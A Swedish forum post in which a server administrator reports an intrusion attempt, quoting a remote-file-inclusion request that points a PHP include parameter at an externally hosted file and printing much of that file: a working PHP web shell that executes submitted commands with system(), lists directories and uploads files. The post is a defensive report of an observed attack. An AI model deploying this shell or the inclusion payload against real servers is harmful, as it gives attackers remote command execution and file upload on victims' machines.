WN - Wisnu slår till mot oskyddade servrar

Jag är ganska van med folk som försöker hacka sig in med olika varianter, men den här är ny för mig och jag hittar ingenting på nätet, så jag tänkte höra om någon annan fått påhälsning av den här varianten förut?

Kod:

//include/main.php?config[search_disp]=true&include_dir=http://geocities.com/wisnu_amanda/wisnu.txt??

En liten bit av den filen ser ut så här:

Kod:

set_magic_quotes_runtime(0);



$currentWD = str_replace("\\\\","\\",$_POST['_cwd']);

$currentCMD = str_replace("\\\\","\\",$_POST['_cmd']);



$UName = `uname -a`;

$SCWD  = `pwd`;

$UserID = `id`;



if( $currentWD == "" ) {

  $currentWD = $SCWD;

}



if( $_POST['_act'] == "List files!" ) {

  $currentCMD = "ls -la";

}





print "<form method=post enctype=\"multipart/form-data\"><hr><hr><table>";



print "<tr><td><b>kOeMeN eksEkUt:</b></td><td><input size=100 name=\"_cmd\" value=\"".$currentCMD."\"></td>";

print "<td><input type=submit name=_act value=\"Execute!\"></td></tr>";



print "<tr><td><b>ChANge diRectORy:</b></td><td><input size=100 name=\"_cwd\" value=\"".$currentWD."\"></td>";

print "<td><input type=submit name=_act value=\"List files!\"></td></tr>";



print "<tr><td><b>UpLOad fiLe:</b></td><td><input size=85 type=file name=_upl></td>";

print "<td><input type=submit name=_act value=\"Upload!\"></td></tr>";



print "</table></form><hr><hr>";



$currentCMD = str_replace("\\\"","\"",$currentCMD);

$currentCMD = str_replace("\\\'","\'",$currentCMD);



if( $_POST['_act'] == "Upload!" ) {

  if( $_FILES['_upl']['error'] != UPLOAD_ERR_OK ) {

    print "<center><b>Error while uploading file!</b></center>";

  } else {

    print "<center><pre>";

    system("mv ".$_FILES['_upl']['tmp_name']." ".$currentWD."/".$_FILES['_upl']['name']." 2>&1");

    print "</pre><b>File uploaded berHasiL cOy!</b></center>";

  }  

} else {

  print "\n\n<!-- OUTPUT STARTS HERE -->\n<pre>\n";

  $currentCMD = "cd ".$currentWD.";".$currentCMD;

 system("$currentCMD 1> /tmp/cmdtemp 2>&1; cat /tmp/cmdtemp; rm 

/tmp/cmdtemp");

  print "\n</pre>\n<!-- OUTPUT ENDS HERE -->\n\n</center><hr><hr><center><b>peRiNtaH sUkses</b></center>";

}



exit;

Lite skoj med nya varianter trots allt :)